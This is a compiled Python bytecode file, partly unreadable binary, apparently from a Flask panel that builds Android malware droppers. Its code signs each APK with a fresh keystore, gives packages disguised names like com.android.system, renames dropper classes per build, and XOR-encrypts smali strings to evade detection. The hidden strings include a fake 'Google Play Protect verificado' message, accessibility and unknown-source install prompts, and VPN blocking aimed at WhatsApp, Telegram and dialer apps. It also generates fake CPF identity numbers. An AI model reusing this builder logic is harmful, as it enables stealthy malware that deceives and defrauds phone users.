o
    ˆ;bjÁ+ ã                   @   sP  d dl mZmZmZmZmZmZmZmZ d dl	Z	d dl
Z
d dlZd dlmZ d dlmZ d dlmZmZ d dlZd dlZd dlmZmZ d dlZd dlZd dlZd dlZd dlmZ de_ d dl!Z!d dl"Z"d dl#Z#d dl$Z$d dl%m&Z& g d	¢Z'g d
¢Z(dd„ Z)dd„ Z*dd„ Z+dZ,g d¢Z-dd„ Z.g d¢Z/g d¢Z0g d¢Z1g d¢Z2dd„ Z3g d¢Z4g d¢Z5g d¢Z6g d¢Z7g d¢Z8g d ¢Z9g d!¢Z:g d"¢Z;g d#¢Z<g d$¢Z=d%d&„ Z>d'd(„ Z?d)d*„ Z@d+d,„ ZAd-d.„ ZBe,fd/d0„ZCd1d2„ ZDd3d4„ ZEd5d6„ ZFd7d8„ ZGd9d:„ ZHd;d<„ ZId=d>„ ZJeeKƒZLe	jM Ne	jM Oe	jM PeQ¡¡d?d@¡ZRe	jM SeR¡r<eTeRdAƒZUeU V¡  W¡ eL_XW d  ƒ n	1 s6w   Y  n-e! YdB¡eL_Xe	jZe	jM PeR¡dCdD eTeRdEƒZUeU [eLjX¡ W d  ƒ n	1 sdw   Y  dFeLj\dG< dHeLj\dI< dCeLj\dJ< dKeLj\dL< edMdNeLj\dO< e	jM Oe	jM PeQ¡¡Z]e	jM Ne]dP¡eLj\dQ< e	jM Ne]dR¡eLj\dS< e	jM Ne]dT¡eLj\dU< e	jM Ne]d?¡Z^e	jM Ne^dV¡Z_e	jM Ne^dW¡Z`eLj\dQ eLj\dS eLj\dU e^fD ]
Zae	jZeadCdD qÑe	jM Ne]dX¡Zbe	jM Ne]dY¡Zce	jM Ne	jM Pe	jM OeQ¡¡dZ¡Zde	jM Ne]d[¡Zee	jM Ne]d\¡Zfi Zge hd]¡Zie&ejƒZkd^Zld_Zme&ejƒZnd`Zod_Zpe q¡ ZrdMdadbdcœdddedfdcœdgdhdidcœdjœZsi Ztdvdldm„Zudndo„ Zve q¡ Zwdpdq„ Zxdrds„ Zydtdu„ Zzdvdw„ Z{dxdy„ Z|dzd{„ Z}d|d}„ Z~d~d„ Zd€d„ Z€d‚dƒ„ Zd„d…„ Z‚d†d‡„ Zƒdˆd‰„ Z„dŠd‹„ Z…dŒd„ Z†dŽd„ Z‡deˆd‘eˆfd’d“„Z‰d”eŠd‘eˆfd•d–„Z‹dwd—d˜„ZŒd™dš„ Zd›dœ„ ZŽdxdždŸ„ZeL d ¡d¡d¢„ ƒZ‘eL d£¡d¤d¥„ ƒZ’eLjd¦d§gd¨d©dª„ ƒZ“eL d«¡d¬d­„ ƒZ”eLjd®d§gd¨d¯d°„ ƒZ•h d±£Z–d²d³„ Z—eL d´¡dµd¶„ ƒZ˜eLjd·d¸gd¨d¹dº„ ƒZ™eLjd·d§gd¨d»d¼„ ƒZšeLjd½d§gd¨d¾d¿„ ƒZ›eL dÀ¡dÁdÂ„ ƒZœeLjdÃd§gd¨dÄdÅ„ ƒZeLjdÆd§gd¨dÇdÈ„ ƒZžeLjdÉd¸gd¨dÊdË„ ƒZŸeLjdÉd§gd¨dÌdÍ„ ƒZ eL dÎ¡dÏdÐ„ ƒZ¡eLjdÑd¸gd¨dÒdÓ„ ƒZ¢eLjdÑd§gd¨dÔdÕ„ ƒZ£eL dÖ¡d×dØ„ ƒZ¤eL dÙ¡dÚdÛ„ ƒZ¥eL dÜ¡dÝdÞ„ ƒZ¦eL dß¡dàdá„ ƒZ§eL dâ¡dãdä„ ƒZ¨eLjdåd§gd¨dædç„ ƒZ©eLjdèd§gd¨dédê„ ƒZªeLjdëd§gd¨dìdí„ ƒZ«eLjdîd§gd¨dïdð„ ƒZ¬eLjdñd§gd¨dòdó„ ƒZ­eL dô¡dõdö„ ƒZ®d÷dø„ Z¯dùdú„ Z°dûdü„ Z±	þ	 dydd„Z²dzdd„Z³	 dydd„Z´d	d
„ Zµdd„ Z¶dd„ Z·eL d¡dd„ ƒZ¸eL d¡dd„ ƒZ¹eLjdd§gd¨dd„ ƒZºeL d¡dd„ ƒZ»d{dd„Z³dd„ Z´eL d¡dd „ ƒZ¼eLjd!d§gd¨d"d#„ ƒZ½eL d$¡d%d&„ ƒZ¾eL d'¡d(d)„ ƒZ¿eL d*¡d+d,„ ƒZÀeLjd-d§gd¨d.d/„ ƒZÁeLjd0d§gd¨d1d2„ ƒZÂd3d4„ ZÃeL d5¡d6d7„ ƒZÄeLjd8d§gd¨d9d:„ ƒZÅeL d;¡d<d=„ ƒZÆeL d>¡d?d@„ ƒZÇeLjdAd§gd¨dBdC„ ƒZÈdDdE„ ZÉejÊeÉdCdFZËeË Ì¡  d dlÍZÎeL dG¡dHdI„ ƒZÏeL dJ¡dKdL„ ƒZÐeLjdMd¸gd¨dNdO„ ƒZÑeLjdPd§gd¨dQdR„ ƒZÒeLjdMd§gd¨dSdT„ ƒZÓeLjdUdVgd¨dWdX„ ƒZÔd dl"ZÕeÕ ÖdY¡eÕ ÖdZ¡eÕ Öd[¡eÕ Öd\¡gZ×eÕ Öd]¡ZØi ZÙh d^£ZÚeLjÛd_d`„ ƒZÜdadb„ ZÝeLjÛdcdd„ ƒZÞe	jM Ne	jM Pe	jM OeQ¡¡dedf¡Zße	jZe	jM Peß¡dCdD h dg£Zàd dláZâeâ ãdh¡Zäeäjåsòeâ æeß¡Zçeç èeâ édi¡¡ eä êeç¡ eä ëeâjì¡ eLjídjdk„ ƒZîeL ïdl¡dmdn„ ƒZðeL ïdo¡dpdq„ ƒZñeKdrkr&eLjòdHdsdtdu dS dS (|  é    )ÚFlaskÚrender_templateÚrequestÚjsonifyÚ	send_fileÚsessionÚredirectÚurl_forN)Úsecure_filename)Úgenerate_password_hashÚcheck_password_hash©ÚdatetimeÚ	timedelta)ÚImagei $ô )Údefaultdict)ÚAnaÚBrunoÚCarlosÚDanielaÚEduardoÚFernandaÚGabrielÚHelenaÚIgorÚJulianaÚKevinÚLarissaÚMarceloÚNataliaÚOtavioÚPatriciaÚRafaelÚSabrinaÚThiagoÚVanessaÚWilliamÚXimenaÚYuriÚZelia)ÚSilvaÚSantosÚOliveiraÚSouzaÚLimaÚPereiraÚCostaÚCarvalhoÚFerreiraÚ	RodriguesÚAlmeidaÚ
NascimentoÚGomesÚMartinsÚAraujoÚMeloÚBarbosaÚRibeiroÚRochaÚCardosoÚCorreiaÚMendesÚFreitasc                   C   s   t  t¡› dt  t¡› S )Nú )ÚrandomÚchoiceÚ_NOMESÚ_SOBRENOMES© rF   rF   úapp.pyÚ	_gen_nome   s   rH   c                     sš   dd„ t dƒD ƒ‰ t‡ fdd„t dƒD ƒƒd d } | dkr dn| }ˆ  |¡ t‡ fd	d„t dƒD ƒƒd d }|dkr>dn|}ˆ  |¡ d
 ttˆ ƒ¡S )Nc                 S   s   g | ]}t  d d¡‘qS )r   é	   )rB   Úrandint)Ú.0Ú_rF   rF   rG   Ú
<listcomp>#   s    z_gen_cpf.<locals>.<listcomp>rI   c                 3   ó     | ]}d | ˆ |  V  qdS )é
   NrF   ©rK   Úi©ÚnrF   rG   Ú	<genexpr>$   ó   € z_gen_cpf.<locals>.<genexpr>rO   é   r   c                 3   rN   )rV   NrF   rP   rR   rF   rG   rT   '   rU   Ú )ÚrangeÚsumÚappendÚjoinÚmapÚstr)Ús1Úd1Ús2Úd2rF   rR   rG   Ú_gen_cpf"   s   "
"
rb   c                  C   s(   t  g d¢¡} dt  dd¡› }| | S )N)
Ú11Ú21Ú31Ú41Ú51Ú61Ú71Ú81Ú85Ú91Ú9i€–˜ iÿàõ)rB   rC   rJ   )ÚdddÚnumrF   rF   rG   Ú
_gen_phone,   s   rp   zcom.android.system.qspaas))zdev.akamai.workerT)znet.akamai.agentT)zio.gitlab.proxyT)zcom.android.systemT)zcom.cloudflare.sdkTc                  C   sX   t  t¡\} }|rdd t jddd¡ }nd t jtjt  dd¡d¡}| › d|› S )	NÚvrW   Ú0123456789abcdefé   ©Úké   rO   Ú.)rB   rC   Ú_PKG_PREFIXESr[   ÚchoicesÚstringÚascii_lowercaserJ   )ÚprefixÚuse_vhexÚsuffixrF   rF   rG   Ú_gen_pkg=   s
   r   )ÚAndroidÚSystemÚ	DeveloperÚMobileÚCoreÚPlatformÚApp)zAndroid Open SourcezMobile PlatformzApp DeveloperzCore SystemszPlatform DevzAndroid Dev)zMountain ViewzSan FranciscoÚSeattleÚAustinúNew YorkzSan Jose)Ú
CaliforniaÚ
WashingtonÚTexasr‰   ÚOregonc            	      C   sz  ddl } | jdd}tj |d¡}d tjtjt 	dd¡d	¡}t
 d
¡}tt 	dd¡ƒ}dt t¡› dt t¡› dt t¡› dt t¡› d	}zStjddd|ddddd|d|d|d|d|dgddd d!}|jdksptj |¡sŠtd"|j› d#|jdd$… › ƒ tj|dd% W dS td&|› d'|› d(ƒ ||||fW S  ty¼ } ztd)|› ƒ tj|dd% W Y d}~dS d}~ww )*zjGera keystore RSA-2048 unico por build.
    Retorna (ks_path, alias, password, tmp_dir) ou None se falhar.r   NÚapkbld_©r|   zrelease.jksrW   é   rO   rt   é   i(#  ià.  zCN=z, OU=Android, O=z, L=z, ST=z, C=USÚkeytoolz-genkeypairz-aliasz-keyalgÚRSAz-keysizeÚ2048z	-validityz	-keystorez
-storepassz-keypassz-dnamez	-nopromptTé   ©Úcapture_outputÚtextÚtimeoutz[keystore] keytool falhou rc=ú: é,  ©Úignore_errorsz[keystore] gerado alias=z
 validity=Údz[keystore] excecao: )ÚtempfileÚmkdtempÚosÚpathr[   rB   ry   rz   r{   rJ   ÚsecretsÚ	token_hexr]   rC   Ú_KS_CN_POOLÚ
_KS_O_POOLÚ
_KS_L_POOLÚ_KS_ST_POOLÚ
subprocessÚrunÚ
returncodeÚexistsÚprintÚstderrÚshutilÚrmtreeÚ	Exception)	Ú_tfÚks_dirÚks_pathÚaliasÚpasswordÚvalidityÚdnameÚresÚ_erF   rF   rG   Ú_generate_temp_keystoreL   sP   
þýüÿø	ö €ýr»   )
ÚCoreActivityÚAppActivityÚBaseActivityÚLaunchActivityÚConfigActivityÚHostActivityÚManagerActivityÚNetworkActivityÚServiceActivityÚStartActivity)
ÚCoreServiceÚNetworkServiceÚManagerServiceÚ
AppServiceÚDataServiceÚBackgroundServiceÚHelperServiceÚUpdateServiceÚTaskServiceÚWorkerService)ÚCoreReceiverÚAppReceiverÚBootReceiverÚNetworkReceiverÚDataReceiverÚEventReceiverÚSyncReceiverÚTaskReceiver)
ÚPackageHelperÚ	AppHelperÚ
CoreHelperÚServiceHelperÚ
SyncHelperÚ
DataHelperÚ
TaskHelperÚWorkerHelperÚUpdateHelperÚNetworkHelper)
Ú	CoreUtilsÚAppUtilsÚ	DataUtilsÚNetUtilsÚSysUtilsÚ	PlatUtilsÚ	BaseUtilsÚ	HostUtilsÚ	TaskUtilsÚ	WorkUtils)Ú
CoreClientÚ	AppClientÚ
DataClientÚ	NetClientÚ	SysClientÚ
PlatClientÚ
BaseClientÚ
HostClient)
ÚAppCodecÚ	DataCodecÚ	ByteCodecÚ	CoreCodecÚNetCodecÚSysCodecÚ	PlatCodecÚ	BaseCodecÚ	HostCodecÚ	TaskCodec)
Ú	AppEngineÚ
DataEngineÚ
ByteEngineÚ
CoreEngineÚ	NetEngineÚ	SysEngineÚ
PlatEngineÚ
BaseEngineÚ
HostEngineÚ
TaskEngine)
ÚAppUtilÚDataUtilÚByteUtilÚCoreUtilÚNetUtilÚSysUtilÚPlatUtilÚHostUtilÚTaskUtilÚWorkUtil)
ÚstopNowÚhaltServiceÚkillNowÚshutdownNowÚterminateNowÚ
endProcessÚstopProcessÚhaltNowÚcloseNowÚabortNowc           '   
   C   s>  t  t¡}t  t¡}t  t¡}t  t¡}t  t¡}t  t¡}t  t¡}t  t	¡}t  t
¡}	t  t¡}
||||||dœ}td|› ƒ td|› d|› ƒ tj | d¡}g }t |¡D ]\}}}|D ]}| d¡ro| ||f¡ qaqZ|D ]C\}}|}| ¡ D ]\}}||d ksŽ| |d ¡r•| ||d¡}q}||kr¶zt tj ||¡tj ||¡¡ W qs tyµ   Y qsw qst | ¡D ]r\}}}|D ]j}| d	¡sËqÃtj ||¡}zQt|d
ddd}| ¡ }W d  ƒ n1 sêw   Y  |}| ¡ D ]
\}}| ||¡}qõ||kr"t|ddd}| |¡ W d  ƒ n	1 sw   Y  W qÃ ty-   Y qÃw q¼d|fd|fd|	ffD ]3\}}tj ||d ¡}tj ||d ¡}tj |¡rlz	t ||¡ W q: tyk   Y q:w q:d|› dd|› dd|	› ddœ}t | ¡D ]\}}}|D ]v} |  d	¡s–qŒtj || ¡}!zZt|!d
ddd}"|" ¡ }#W d  ƒ n	1 s¶w   Y  |#}$| ¡ D ]\}%}&|$ |%|&¡}$qÁ|$ d|
¡}$|$|#krõt|!ddd}"|" |$¡ W d  ƒ n	1 sðw   Y  W qŒ ty   Y qŒw q…td|› d|› d|	› d|
› ƒ |
|d< ||d< |S )z9Renomeia classes internas com nomes do pool a cada build.)ÚMainActivityÚVpnKillServiceÚRcvJbrznÚRedirectWatcherÚDrpJsBridgeÚRedirWvcz[cls_rename] z[cls_rename] bridge=z wvc=Úsmaliú.smaliú$é   ©r#  ú.xmlú.ymlÚrúutf-8Úignore©ÚencodingÚerrorsNÚw©r-  Úe0Úf0ÚbÚLú;)zLe0;zLf0;zLb;ÚkillInstantlyz[cls_rename] codec=z engine=z b64=z kill=Ú_killÚ_codec)rB   rC   Ú_CLS_MAIN_POOLÚ_CLS_SVC_POOLÚ_CLS_RCV_POOLÚ_CLS_REDIR_POOLÚ_CLS_BRIDGE_POOLÚ_CLS_WVC_POOLÚ_CLS_CODEC_POOLÚ_CLS_ENGINE_POOLÚ_CLS_B64_POOLÚ_RND_KILL_POOLr­   r¡   r¢   r[   ÚwalkÚendswithrZ   ÚitemsÚ
startswithÚreplaceÚrenamer±   ÚopenÚreadÚwriter¬   )'Údropper_workÚnew_mainÚnew_svcÚnew_rcvÚ	new_redirÚ
new_bridgeÚnew_wvcÚ	new_codecÚ
new_engineÚnew_b64Únew_killÚrenamesÚ	smali_dirÚ	all_smaliÚrdrL   ÚfsÚfnÚnew_fnÚold_clsÚnew_clsÚfpÚfÚtxtÚnew_txtÚ_ocÚ_ncÚ_opÚ_npÚ
_short_mapÚ_rd2Ú_fs2Ú_fn2Ú_fp2Ú_f2Ú_t2Ú_t2nÚ_op2Ú_np2rF   rF   rG   Ú_randomize_class_names¥   sÄ   









ú
€þ€$ÿý

ÿ
ÿ€ÿóÿý$
ÿ
ÿ€ÿò rr  c              
   C   s.  t  dt j¡}t  d¡}d}t tj | d¡¡D ]t\}}}|D ]l}| d¡s'qtj ||¡}zTt|dddd	}	|	 	¡ }
W d
  ƒ n1 sFw   Y  | 
d|
¡}| 
d|¡}||
kr|t|
ƒt|ƒ 7 }t|ddd}	|	 |¡ W d
  ƒ n1 s|w   Y  W q ty‹   Y qw qtd|› dƒ d
S )z}Remove anotacoes de debug (.line, .source, .local, .prologue).
    Reduz tamanho do APK sem alterar comportamento em runtime.z€^\s*(?:\.line\s+\d+|\.source\s+"[^"]*"|\.local\s+\S[^\n]*|\.end\s+local\s+\S[^\n]*|\.restart\s+local\s+\S[^\n]*|\.prologue)\s*\nz\n{3,}r   r"  r#  r)  r*  r+  r,  NÚ
z

r/  r0  z[debug_strip] z bytes removidos de smali)ÚreÚcompileÚ	MULTILINEr¡   rC  r¢   r[   rD  rI  rJ  ÚsubÚlenrK  r±   r­   )rL  Ú_patÚ_blanksÚsavedrZ  rL   r[  r\  r`  ra  rb  rc  rF   rF   rG   Ú_strip_smali_debug  s8   ÷


ÿÿ€ÿór|  c           (         sÐ	  ddl ‰ ‡ fdd„‰‡fdd„}d}t tj | d¡¡D ]\}}}|D ]}|dkr2tj ||¡} nq#|r7 nq|s@td	ƒ dS t|d
dd}| ¡ }W d  ƒ n1 sVw   Y  |}	d}
d}||v rt| ||dddƒd¡}|
d7 }
d}||v r‰| ||dddƒd¡}|
d7 }
d}||v rš| |dd¡}|
d7 }
g d¢}|D ]\}}||v r·| ||dd|ƒd¡}|
d7 }
q d}||v rÉ| |dd¡}|
d7 }
d}||v rÞ| ||dddƒd¡}|
d7 }
d }||v rï| |d!d¡}|
d7 }
d"}||v r| ||dd#d$ƒd% d¡}|
d7 }
d&}||v r| ||dd#d'ƒd( d¡}|
d7 }
d)}||v r7| ||dd#d*ƒd+ d¡}|
d7 }
d,}||v rO| ||dd#d-ƒd. d¡}|
d7 }
d/}||v rg| ||dd#d0ƒd1 d¡}|
d7 }
d2}||v r| ||dd#d3ƒd4 d¡}|
d7 }
d5}||v r—| ||d6d7d8ƒd9 d¡}|
d7 }
d:}||v r¯| ||dd6d;ƒd< d¡}|
d7 }
d=}||v rÇ| ||d>dd?ƒd@ d¡}|
d7 }
dA}||v rß| ||dddBƒdC d¡}|
d7 }
dD}||v r÷| ||dd#dEƒdF d¡}|
d7 }
dG}||v r| ||d>ddHƒdI d¡}dJ}||v r!| ||dddKƒd¡}|
d7 }
dL}||v r7| ||d>ddMƒd¡}|
d7 }
dN}||v rI| |dOd¡}|
d7 }
dP}||v ra| ||dddQƒdR d¡}|
d7 }
dS}||v ry| ||dddTƒdU d¡}|
d7 }
||	krªt|dVdd}| 	|¡ W d  ƒ n	1 s–w   Y  tdW|
› dXtj 
|¡› ƒ ntdYƒ d}t tj | d¡¡D ]\}}}|D ]}|dZkrÑtj ||¡} nqÁ|rØ nqº|rêt|d
dd}| ¡ }W d  ƒ n	1 sôw   Y  |}d}d[}||v r| |d\d¡}|d7 }d]}||v r%| ||ddd^ƒd¡}|d7 }d_}||v r;| ||ddd`ƒd¡}|d7 }da}||v rQ| ||dddbƒd¡}|d7 }dc}||v rg| ||ddddƒd¡}|d7 }de}||v ry| |dfd¡}|d7 }dg}||v r| ||ddhdiƒd¡}|d7 }dj}||v r¥| ||ddhdkƒd¡}|d7 }dl}||v r»| ||d>dhdQƒd¡}|d7 }||kræt|dVdd}| 	|¡ W d  ƒ n	1 sØw   Y  tdW|› dmƒ ntdnƒ d}t tj | d¡¡D ]\}}}|D ]}|dokrtj ||¡} nqý|r nqö|ræt|d
dd}| ¡ }W d  ƒ n	1 s0w   Y  |}d}dp}||v rK| |dqd¡}|d7 }drD ]} ds| › dt}!|!|v ri| |!|dd| ƒd¡}|d7 }qMt g du¢¡}"t g dv¢¡}#t g dw¢¡}$dx|"d fdy|#fdzd{d||"d fd}|$ffD ]\}%}&d~|%› dt}'|'|v r²| |'|dd|&ƒd¡}|d7 }q”||kràt|dVdd}| 	|¡ W d  ƒ n	1 sÑw   Y  tdW|› d€ƒ dS tdƒ dS dS )‚zÒXOR-cifra strings suspeitas em MainActivity.smali (copia de trabalho).
    Usa registradores frescos (alem do .locals original) para evitar conflito
    de tipo no verificador Dalvik. Chave aleatoria por build.r   Nc                    st   d  tjtjtj t dd¡d¡}|  d¡‰| d¡‰ t‡ ‡fdd„t	t
ˆƒƒD ƒƒ}ˆ |¡ ¡ ˆ ˆ ¡ ¡ fS )NrW   é   r‘   rt   r*  c                 3   ó(    | ]}ˆ| ˆ |t ˆ ƒ  A V  qd S ©N©rx  rP   ©ÚkbÚptrF   rG   rT   3  ó   €& z;_encrypt_smali_strings.<locals>._xor_enc.<locals>.<genexpr>)r[   rB   ry   rz   Úascii_lettersÚdigitsrJ   ÚencodeÚbytesrX   rx  Ú	b64encodeÚdecode)Ú	plain_strÚkey_rawÚenc)Ú_b64r  rG   Ú_xor_enc.  s   
ÿ

 z(_encrypt_smali_strings.<locals>._xor_encc                    s:   ˆ |ƒ\}}d| › d|› d|› d|› d| › d|› d| › S )Nú    const-string ú, "ú"
    const-string ú"
    invoke-static {ú, zZ}, Le0;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    move-result-object rF   )rZ  Úrkr‹  r  Úkey)r  rF   rG   Ú_blk6  s   ÿÿþþýÿz$_encrypt_smali_strings.<locals>._blkr"  úMainActivity.smaliz4[enc_str] MainActivity.smali nao encontrado, pulandor)  r*  r0  z*    const-string v8, "getPackageInstaller"Úv8Úv10ÚgetPackageInstallerr%  z(    const-string v7, "MODE_FULL_INSTALL"Úv7ÚMODE_FULL_INSTALLz8.method public final k()Ljava/lang/String;
    .locals 3z8.method public final k()Ljava/lang/String;
    .locals 4))zY    const-string v0, "To continue, enable installation from unknown sources in settings."zBTo continue, enable installation from unknown sources in settings.)zŠ    const-string v0, "Para continuar, ative a permiss\u00e3o de instala\u00e7\u00e3o de fontes desconhecidas nas configura\u00e7\u00f5es."u_   Para continuar, ative a permissÃ£o de instalaÃ§Ã£o de fontes desconhecidas nas configuraÃ§Ãµes.)zi    const-string v0, "Per continuar, abilita l\'installazione da origini sconosciute nelle impostazioni."zQPer continuar, abilita l'installazione da origini sconosciute nelle impostazioni.)zm    const-string v0, "Pour continuer, activez l\'installation de sources inconnues dans les param\u00e8tres."uQ   Pour continuer, activez l'installation de sources inconnues dans les paramÃ¨tres.)zq    const-string v0, "Para continuar, habilite la instalaci\u00f3n de or\u00edgenes desconocidos en los ajustes."uR   Para continuar, habilite la instalaciÃ³n de orÃ­genes desconocidos en los ajustes.)zu    const-string v0, "Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen."z^Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen.Úv0Úv3z'.method public final l()V
    .locals 4z'.method public final l()V
    .locals 5z$    const-string v2, "Installing..."Úv2Úv4zInstalling...z'.method public final j()V
    .locals 9z=.method public final j()V
    .locals 10

    const/4 v9, 0x0z3    const-string v2, "forName"

    const/4 v3, 0x1Úv9ÚforNamez

    const/4 v3, 0x1z=    const-string v4, "getDeclaredMethod"

    const/4 v6, 0x2ÚgetDeclaredMethodz

    const/4 v6, 0x2zJ    const-string v4, "dalvik.system.VMRuntime"

    aput-object v4, v1, v5zdalvik.system.VMRuntimez

    aput-object v4, v1, v5z=    const-string v7, "getRuntime"

    aput-object v7, v2, v5Ú
getRuntimez

    aput-object v7, v2, v5zI    const-string v7, "setHiddenApiExemptions"

    aput-object v7, v6, v5ÚsetHiddenApiExemptionsz

    aput-object v7, v6, v5z4    const-string v4, "L"

    aput-object v4, v3, v5r4  z

    aput-object v4, v3, v5zP    const-string v11, "createSession"

    new-array v12, v8, [Ljava/lang/Class;Úv11Úv12ÚcreateSessionz+

    new-array v12, v8, [Ljava/lang/Class;zM    const-string v7, "openSession"

    new-array v11, v8, [Ljava/lang/Class;ÚopenSessionz+

    new-array v11, v8, [Ljava/lang/Class;z5    const-string v1, "openWrite"

    const/4 v7, 0x3Úv1Ú	openWritez

    const/4 v7, 0x3zŒ    const-string v4, "android.content.IntentSender"

    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;zandroid.content.IntentSenderzY

    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;zG    const-string v7, "commit"

    new-array v9, v8, [Ljava/lang/Class;Úcommitz*

    new-array v9, v8, [Ljava/lang/Class;zF    const-string v1, "close"

    new-array v3, v2, [Ljava/lang/Class;Úclosez*

    new-array v3, v2, [Ljava/lang/Class;z    const-string v7, "PeriCred"ÚPeriCredz<    const-string v1, "\u2713 Google Play Protect verificado"õ"   âœ“ Google Play Protect verificadoz;.method public onCreate(Landroid/os/Bundle;)V
    .locals 3z;.method public onCreate(Landroid/os/Bundle;)V
    .locals 4z1    const-string v0, "RETRY"

    const/4 v1, 0x0ÚRETRYz

    const/4 v1, 0x0z~    const-string v0, "Retrying..."

    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)VzRetrying...z\

    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)Vr/  z
[enc_str] z patch(es) aplicados em z#[enc_str] nenhuma string encontradaúRcvJbrzn.smaliz@.method public final b(Landroid/content/Context;)V
    .locals 8z@.method public final b(Landroid/content/Context;)V
    .locals 9z#    const-string v0, "connectivity"Úconnectivityz    const-string v7, "activity"Úactivityz7    const-string v8, "android.intent.category.LAUNCHER"z android.intent.category.LAUNCHERz>    const-string v0, "android.settings.ACCESSIBILITY_SETTINGS"z'android.settings.ACCESSIBILITY_SETTINGSzZ.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 5zZ.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 6z2    const-string v0, "android.intent.extra.INTENT"Úv5zandroid.intent.extra.INTENTz6    const-string v2, "android.content.pm.extra.STATUS"zandroid.content.pm.extra.STATUSz    const-string v1, "RETRY"z patch(es) em RcvJbrzn.smaliz)[enc_str] RcvJbrzn: nenhum patch aplicadozVpnKillService.smalizH.method public onStartCommand(Landroid/content/Intent;II)I
    .locals 4zH.method public onStartCommand(Landroid/content/Intent;II)I
    .locals 5)zcom.whatsappzcom.whatsapp.w4bzcom.gbwhatsappzorg.telegram.messengerzorg.telegram.messenger.webzcom.facebook.orcazcom.google.android.dialerzcom.android.dialerzcom.samsung.android.dialerzcom.miui.voiceassistz com.google.android.apps.meetingszcom.skype.raiderz    const-string v2, "ú"))ú10.0.0.2ú10.0.0.1)z10.8.0.2z10.8.0.1)z
172.16.0.2z
172.16.0.1)z192.168.50.2z192.168.50.1)úfd00::2zfd01::2zfd0a::2zfdff::2)ÚConnectivityÚNetworkÚSyncÚRuntimeÚServiceÚUpdateÚ
NetSessionÚDataChannelr·  r¹  )ú0.0.0.0rÂ  )ú::rÃ  r¸  r   z    const-string p3, "Úp3z" patch(es) em VpnKillService.smaliz/[enc_str] VpnKillService: nenhum patch aplicado)Úbase64r¡   rC  r¢   r[   r­   rI  rJ  rG  rK  ÚbasenamerB   rC   )(rL  r—  ÚtargetÚ_rdrL   Ú_fsÚ_fnra  rb  ÚoriginalÚpatchedÚ_oldÚ_langÚ
_old_smaliÚ_plainÚ_rcv_targetÚ_rrdÚ_rfsÚ_rfnÚ_rfÚ_rtxtÚ_rorigÚ	_rpatchedÚ_vpn_targetÚ_vrdÚ_vfsÚ_vfnÚ_vfÚ_vtxtÚ_vorigÚ	_vpatchedÚ_old_locÚ_vpkgÚ	_old_vpkgÚ	_VPN_IPV4Ú	_VPN_IPV6Ú	_VPN_SESSÚ	_vlit_oldÚ	_vlit_newÚ	_old_vlitrF   )rŽ  r  rG   Ú_encrypt_smali_strings(  sÌ  	þÿ
ÿ€

















ÿ
þÿ
ÿ









ÿ
þÿ
ÿ

€

ú
€
ÿÉrê  c                    st  ddl ‰ ddl‰| dd¡}| dd¡}| dd¡}| dd¡}| dd	¡}d
|› d‰‡ ‡fdd„‰‡‡fdd„}d}t tj | d¡¡D ]\}	}
}|D ]}||d kr\tj |	|¡}qM|ra nqF|sjtdƒ dS t|ddd}| 	¡ }W d  ƒ n1 s€w   Y  |}d}d}||v rš| 
|dd¡}|d7 }d|› d}||v rµ| 
||ddd| ƒd¡}|d7 }d|› d}||v rÎ| 
||dd|ƒd¡}|d7 }d |› d}||v ré| 
||d!d"d| ƒd¡}|d7 }d |› d}||v r| 
||d!d"d| ƒd¡}|d7 }d |› d}||v r!| 
||d!d"d| ƒd¡}|d7 }||krOt|d#dd}| |¡ W d  ƒ n	1 s>w   Y  td$|› d%|› dƒ ntd&ƒ d}t tj | d¡¡D ]\}}
}|D ]}||d krvtj ||¡}qf|r} nq_|r8t|ddd}| 	¡ }W d  ƒ n	1 s™w   Y  |}d}d'}||v r´| 
|d(d¡}|d7 }d)}||v rÆ| 
|d*d¡}|d7 }d+|› d}||v rç| 
||d,dd| ƒd¡}|d7 }||v sÑd|› d}||v r| 
||dd-d| ƒd¡}|d7 }||kr2t|d#dd}| |¡ W d  ƒ n	1 s w   Y  td.|› d%|› dƒ dS td/ƒ dS dS )0ao  Cifra pos-rename os literais de reflexao/nome-de-componente no receiver.
    Roda DEPOIS de _randomize_class_names: os nomes renomeados (.AppService,
    stopProcess, .MainActivity, .RcvJbrzn) ficariam em texto puro no smali,
    entregando a assinatura de reflexao do dropper. XOR-cifrados via codec
    (ja renomeado) e decodificados em runtime. Nao altera o fluxo.r   Nr  r  r  r7  r  r8  rû   r4  r5  c                    st   d  tjˆjˆj t dd¡d¡}|  d¡‰| d¡‰ t‡ ‡fdd„tt	ˆƒƒD ƒƒ}ˆ 
|¡ ¡ ˆ 
ˆ ¡ ¡ fS )NrW   r}  r‘   rt   r*  c                 3   r~  r  r€  rP   r  rF   rG   rT   ‘  r„  z>_encrypt_receiver_strings.<locals>._xor_enc.<locals>.<genexpr>)r[   rB   ry   r…  r†  rJ   r‡  rˆ  rX   rx  r‰  rŠ  )Úplainr–  r  )rŽ  Ú_strr  rG   r  Ž  s   $ z+_encrypt_receiver_strings.<locals>._xor_encc                    s@   ˆ |ƒ\}}d| › d|› d|› d|› d| › d|› dˆ› d| › S )Nr  r‘  r’  r“  r”  z}, zS->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    move-result-object rF   )rZ  r•  rë  r  r–  )r  Ú	codec_refrF   rG   r—  ”  s   ÿÿþþþýz'_encrypt_receiver_strings.<locals>._blkr"  r#  z*[enc_rcv] receiver nao encontrado, pulandor)  r*  r0  z@.method public final c(Landroid/content/Context;)V
    .locals 6z@.method public final c(Landroid/content/Context;)V
    .locals 7r%  z    const-string v0, ".r¶  rž  r™  rw   z    const-string v3, "rŸ  z    const-string v5, ".rµ  Úv6r/  z
[enc_rcv] z patch(es) em z[enc_rcv] nenhum patch aplicadoz'.method public final M()V
    .locals 3z'.method public final M()V
    .locals 4z).method public onDestroy()V
    .locals 3z).method public onDestroy()V
